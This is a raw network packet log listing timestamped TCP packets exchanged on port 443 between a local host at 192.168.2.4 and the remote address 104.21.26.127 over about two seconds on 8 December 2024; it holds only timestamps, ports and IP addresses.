Dec 8, 2024 01:46:45.636126041 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.636179924 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.641227961 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.641247034 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.641304970 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.641309977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.641352892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.647409916 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.647427082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.647495031 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.647500992 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.647542953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.653537989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.653556108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.653606892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.653613091 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.653637886 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.653656960 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.659358025 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.659370899 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.659436941 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.659441948 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.659482002 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.666204929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.666219950 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.666282892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.666287899 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.666328907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.670974970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.670989037 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.671062946 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.671067953 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.671106100 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.677212954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.677227020 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.677285910 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.677290916 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.677328110 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.827341080 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.827357054 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.827455044 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.827461958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.827505112 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.833197117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.833210945 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.833281994 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.833285093 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.833333015 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.838583946 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.838597059 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.838677883 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.838682890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.838735104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.845150948 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.845164061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.845242977 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.845247984 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.845288992 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.850610971 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.850624084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.850696087 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.850701094 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.850742102 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.856796026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.856808901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.856894970 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.856899977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.856945038 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.863343954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.863358974 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.863441944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.863445044 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.863490105 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.868355989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.868370056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.868454933 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:45.868459940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:45.868501902 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.019112110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.019129992 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.019172907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.019185066 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.019216061 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.019232035 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.024600029 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.024616003 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.024679899 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.024686098 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.024743080 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.031328917 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.031342030 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.031409025 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.031414032 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.031461000 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.036880970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.036894083 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.036956072 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.036961079 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.037003994 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.042732000 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.042747974 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.042809963 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.042814970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.042849064 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.048863888 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.048897028 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.048962116 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.048966885 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.049006939 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.054272890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.054286957 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.054389954 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.054394960 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.054439068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.060528040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.060543060 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.060609102 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.060614109 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.060657978 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.211296082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.211318016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.211416006 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.211421967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.211467981 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.217479944 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.217493057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.217566967 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.217571020 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.217609882 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.222915888 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.222929955 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.223002911 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.223009109 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.223047018 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.229032040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.229047060 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.229116917 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.229120970 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.229160070 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.234908104 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.234922886 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.234988928 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.234993935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.235030890 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.241017103 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.241029978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.241091967 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.241096973 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.241134882 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.247231007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.247245073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.247304916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.247308969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.247350931 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.252671957 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.252691984 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.252744913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.252749920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.252784967 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.403394938 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.403409004 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.403501987 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.403508902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.403547049 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.409565926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.409578085 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.409657955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.409662008 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.409703016 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.415025949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.415039062 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.415096998 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.415101051 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.415139914 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.421125889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.421140909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.421207905 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.421211958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.421251059 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.427150965 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.427167892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.427282095 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.427287102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.427325010 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.433130026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.433144093 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.433203936 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.433208942 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.433244944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.439332008 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.439346075 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.439410925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.439423084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.439467907 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.444802046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.444814920 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.444889069 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.444892883 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.444933891 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.595628023 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.595647097 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.595700026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.595706940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.595730066 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.595748901 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.601078987 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.601093054 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.601131916 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.601136923 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.601164103 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.601180077 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.607237101 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.607250929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.607287884 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.607294083 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.607331038 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.607331038 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.613409996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.613424063 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.613475084 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.613480091 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.613529921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.613529921 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.619272947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.619287014 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.619337082 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.619340897 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.619373083 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.619393110 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.625379086 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.625392914 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.625432014 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.625458956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.625466108 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.625504971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.630800962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.630815029 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.630848885 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.630853891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.630896091 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.636910915 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.636924028 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.636977911 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.636982918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.637073994 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.787607908 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.787625074 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.787702084 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.787708998 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.787750006 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.793703079 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.793715954 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.793771982 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.793776989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.793812990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.799896002 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.799909115 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.799968004 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.799972057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.800008059 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.805366039 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.805380106 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.805444002 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.805449009 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.805490017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.811929941 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.811944008 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.812005043 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.812009096 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.812048912 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.817397118 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.817409992 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.817487955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.817492962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.817536116 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.823463917 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.823477030 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.823555946 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.823560953 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.823601961 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.829638958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.829674959 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.829734087 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.829739094 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.829780102 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.986540079 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.986553907 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.986635923 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.986641884 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.986685038 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.992774963 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.992789030 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.992845058 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.992849112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.992888927 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.998255014 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.998267889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.998327971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:46.998332977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:46.998372078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.004394054 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.004406929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.004467010 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.004471064 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.004503965 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.010184050 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.010199070 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.010255098 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.010260105 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.010301113 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.016310930 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.016324043 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.016376972 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.016381025 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.016415119 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.022504091 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.022516966 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.022597075 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.022600889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.022636890 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.027895927 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.027908087 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.027966976 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.027971983 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.028009892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.183324099 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.183340073 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.183401108 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.183408022 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.183461905 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.189407110 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.189420938 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.189465046 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.189469099 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.189490080 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.189507008 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.195628881 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.195645094 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.195730925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.195734978 CET	443	49979	104.21.26.127	192.168.2.4
